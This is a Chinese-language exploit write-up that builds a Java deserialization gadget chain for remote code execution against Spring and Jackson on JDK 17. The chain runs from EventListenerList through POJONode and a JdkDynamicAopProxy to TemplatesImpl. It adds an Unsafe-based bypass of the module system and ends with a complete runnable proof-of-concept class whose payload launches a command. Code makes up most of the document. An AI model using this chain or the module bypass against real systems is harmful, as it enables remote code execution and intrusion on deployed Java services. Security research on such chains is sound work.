在pom.xml上添加Spring依赖

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>3.3.4</version> <!-- 使用当前稳定版 -->
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.1-GA</version>
        </dependency>

    </dependencies>

漏洞分析

ToString触发

我们知道一条jackson反序列化的链,在jackson中 POJONode##toString 方法可以调用getter方法,所以我们可以利用getter调 getOutputProperties 以此实现RCE,然后再找个地方去触发 POJONodetoString ,当时利用的是 BadAttributeValueExpException##readObject ,这是一个原生类,在 readObject 的时候就触发了 toString。

但是在JDK17中#BadAttributeValueExpException#的readobject方法已经没有toSting了

JDK17 #BadAttributeValueExpException# #readobject如下

2026-01-31T13:59:14.png

JDK8 #BadAttributeValueExpException# #readobject如下

2026-01-31T13:59:24.png

可以明显看到缺少了val = valObj.toString();

但是我们知道一个新入口EventListenerList#readObject,利用字符串与对象的拼接触发 toString

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);
        setValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

JDK高版本模块检测绕过

从 JDK 9 开始,Java 引入了 JPMS Java Platform Module System ,模块系统),在 JDK 17 里,这一机制已经被完全强化。

具体表现为如下:

  • 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17,这些类已经被模块系统强封装,默认不可访问。
  • 强封装机制:模块之间的可见性由 module- info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问
  • 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 - add- opens 参数开放模块或者使用 Java Agent/Instrumentation 来打破封装

因此,jdk17 会进行模块检测导致我们无法直接利用 getOutputProperties。那么如何在JDK17绕过模块检测。核心就是利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装。

private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz != null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

然后还有一个问题,在以往我们利用 TemplatesImpl 的时候,被利用的目标都需要继承AbstractTranslet ,但在高版本下肯定是不行的,因为必然涉及到模块化的检测导致报错。这个问题比较简单解决。只需要设置_transletIndex不为-1,然后_bytecodes传入两个字节码即可绕过继承AbstractTranslet 限制。

byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("xuanxuan").toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

Jackson Getting触发不稳定

JdkDynamicAopProxy 可以用于解决jackson中的getter稳定触发问题

  //解决getting稳定触发
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws
            Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

最终POC

package org.example;



import javax.swing.event.EventListenerList;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

//高版本JDK17下的Spring原生反序列化
// 添加命令行启动
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
//--add-opens=java.base/java.lang=ALL-UNNAMED
//--add-opens=java.base/java.io=ALL-UNNAMED
//--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
//--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
//--add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
    public static void main(String[] args) throws Exception{
        //删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode =
                    pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader =
                    Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }
//        把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<> ();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(SpringRCE.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new SpringRCE().bypassModule(classes);

//===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("xuanxuan").toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);
        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
        EventListenerList eventListenerList = getEventListenerList(node);
        String serialize = serialize(eventListenerList, true);
        deserialize(serialize);
        
    }
    public static String serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag)
            System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    public static void deserialize(String s) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
        ObjectInputStream oos = new ObjectInputStream(byteArrayInputStream);
        oos.readObject();
    }

    //解决getting稳定触发
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws
            Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static EventListenerList getEventListenerList(Object obj) throws
            Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();
//        取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发
//        toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);
        setFieldValue(list, "listenerList", new Object[]{Class.class,
                undomanager});
        return list;
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz != null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static Object getFieldValue(Object obj, String fieldName) throws
            Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i ++ ) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws
            Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}


注意需要添加命令行启动

![image](assets/image-20260131215816-jx4kx67.png)

![image](assets/image-20260131215831-xohl2m3.png)